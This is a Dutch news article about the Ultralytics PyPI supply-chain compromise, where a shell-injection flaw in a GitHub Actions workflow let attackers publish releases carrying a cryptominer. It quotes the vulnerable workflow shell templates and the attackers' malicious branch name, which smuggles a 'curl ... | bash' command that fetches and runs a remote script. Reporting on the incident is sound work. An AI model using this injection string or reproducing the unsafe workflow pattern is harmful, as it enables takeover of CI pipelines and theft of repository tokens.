{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Een fout in de GitHub Actions-handler leidde tot de publicatie van kwaadaardige releases van Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Kwaadwillenden wisten code uit te voeren met de rechten van de GitHub Actions-handler in de repository van de Python-bibliotheek Ultralytics, die wordt gebruikt voor computer vision-taken, zoals objectdetectie op afbeeldingen en afbeeldingsegmentatie. Na toegang tot de repository publiceerden de aanvallers verschillende nieuwe releases van Ultralytics in de PyPI-catalogus, met kwaadaardige wijzigingen voor cryptomining. In de afgelopen maand is de Ultralytics-bibliotheek meer dan 6,4 miljoen keer gedownload uit de PyPI-catalogus. <\/p>\n
Voor de compromittering van de repository werd een kwetsbaarheid in het pakket ultralytics-actions gebruikt, dat wordt toegepast voor het automatisch starten van handlers bij bepaalde acties met de repository op GitHub, met behulp van het GitHub Actions-mechanisme. In het ultralytics-project was de kwetsbare handler gekoppeld aan het event pull_request_target en werd deze aangeroepen bij het binnenkomen van nieuwe pull-requests. Met name voor het formatteren van de code in de ingediende pull-requests werd de handler format.yml aangeroepen en werd de code uitgevoerd die in de sectie «run» van het bestand action.yml stond, waarin shell-commando's met substitutietemplates waren opgenomen: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}» <\/p>\n
Hierdoor werd de naam van de Git-branch die in de pull-request werd genoemd, zonder voldoende escaping in de shell-commando's geplaatst. Opmerkelijk is dat in augustus al een soortgelijke kwetsbaarheid in het pakket ultralytics-actions was opgelost, gerelateerd aan het gebruik van een externe waarde in de echo-functie: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}» <\/p>\n
Om hun eigen code in de context van de GitHub Actions-handler uit te voeren, stuurden de aanvallers een pull-request naar de ultralytics-repository, waarbij ze de naam van de branch opgegeven: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Bij de binnenkomst van de pull-request werd dus de door de aanvallers opgegeven string «$(…)» in de code geplaatst, die bij de volgende uitvoering van de handler leidde tot de uitvoering van de code «curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash».
<\/center> <\/p>\n
Het uitvoeren van code in de context van GitHub Actions kan worden gebruikt om toegangstokens voor de repository en andere vertrouwelijke gegevens vast te leggen. Hoe aanvallers precies in staat waren om een release te genereren en hun code in GitHub Actions uit te voeren, is nog niet helemaal duidelijk. Verondersteld wordt dat dit mogelijk werd door het aanpassen van de publish.yml handler (de aanvallers verwijderden de controle op het account dat toestemming had om releases op PyPI te publiceren) en het gebruik van technieken voor het vervuilen van de build-cache van GitHub Actions om hun gegevens in de release te injecteren. <\/p>\n
De eerste kwaadaardige release van Ultralytics 8.3.41 werd door de aanvallers gepubliceerd in de PyPI-directory op 4 december om 23:51 (MSK) en werd de volgende dag om 12:15 verwijderd. Om 15:47 werd een andere release 8.3.42 geplaatst, die om 16:47 werd verwijderd. Dus waren de kwaadaardige versies in totaal ongeveer 13 uur beschikbaar voor download (op een dag worden er ongeveer 250.000 downloads van de ultralytics-bibliotheek geregistreerd in PyPI). In de releases 8.3.41 en 8.3.42 zaten ook code die downloads vanaf externe de server<\/a> component XMRig voor het mijnen van cryptocurrency. <\/p>\n
![\"Een](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n